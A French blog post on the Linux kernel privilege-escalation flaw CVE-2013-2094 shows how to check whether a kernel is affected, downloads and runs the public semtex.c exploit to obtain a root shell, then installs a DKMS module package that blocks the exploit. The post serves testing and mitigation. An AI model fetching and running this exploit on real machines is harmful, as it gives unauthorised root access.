L’exploit CVE-2013-2094 permet d’exploiter une faille dans la perf_swevent_init function du fichier kernel/events/core.c du noyau Linux, entre les versions 2.6.37 et 3.8.8. Cet exploit permet de passer root.

Pour voir si le noyau utilisé est vulnérable, on peut utiliser la commande suivante :

grep CONFIG_PERF_EVENTS /boot/config-`uname -r`

Si la commande renvoie la ligne suivante, et que la version du noyau est comprise entre 2.6.37 et 3.8.8, alors le noyau est vulnérable :

CONFIG_PERF_EVENTS=y

On peut tester l’exploit de la façon suivante :

wget https://blog.valouille.fr/wp-content/uploads/2013/05/semtex.c
valouille@vbicvic:~$ gcc-4.6 -O2 semtex.c && ./a.out 
2.6.37-3.x x86_64
sd@fucksheep.org 2010
root@vbicvic:~#

On voit qu’on est passé root.

La faille a été corrigée dans les sources du noyau, et dans les dépots debian (version 3.2.41-2+deb7u2). Mais mettre à jour le noyau implique de redémarrer la machine.

Ce que je propose, c’est de corriger la maille simplement en installant un paquet Debian, et en chargeant un module. Sur le blog d’Adrea Righi, j’ai trouvé les sources d’un module permettant de faire ça. Je l’ai donc compilé sous forme de paquet Debian DKMS afin d’automatiser l’installation :

wget https://blog.valouille.fr/wp-content/uploads/2013/05/wrapper-dkms_0.1+awh_all.deb
# dpkg -i wrapper-dkms_0.1+awh_all.deb 
Selecting previously unselected package wrapper-dkms.
(Reading database ... 154687 files and directories currently installed.)
Unpacking wrapper-dkms (from wrapper-dkms_0.1+awh_all.deb) ...
Setting up wrapper-dkms (0.1) ...
Loading new wrapper-0.1 DKMS files...
First Installation: checking all kernels...
Building for 3.2.0-4-amd64 and 3.8-2-amd64
Building for architecture amd64
Building initial module for 3.2.0-4-amd64
Done.
wrapper:
Running module version sanity check.
 - Original module
   - No original module exists within this kernel
 - Installation
   - Installing to /lib/modules/3.2.0-4-amd64/updates/dkms/
depmod....
DKMS: install completed.
Module build for the currently running kernel was skipped since the
kernel source for this kernel does not seem to be installed.

Il ne reste plus qu’à le charger :

# modprobe wrapper
# lsmod | grep wrapper
wrapper                12421  

L’exploit est donc neutralisé :

valouille@vbicvic:~$ uname -a
Linux vbicvic 3.2.0-4-amd64 #1 SMP Debian 3.2.41-2 x86_64 GNU/Linux
valouille@vbicvic:~$ ./a.out 
a.out: semtex.c:51: sheep: Assertion `!close&#40;fd&#41;<span class="st_h">' failed.
Aborted
valouille@vbicvic:~$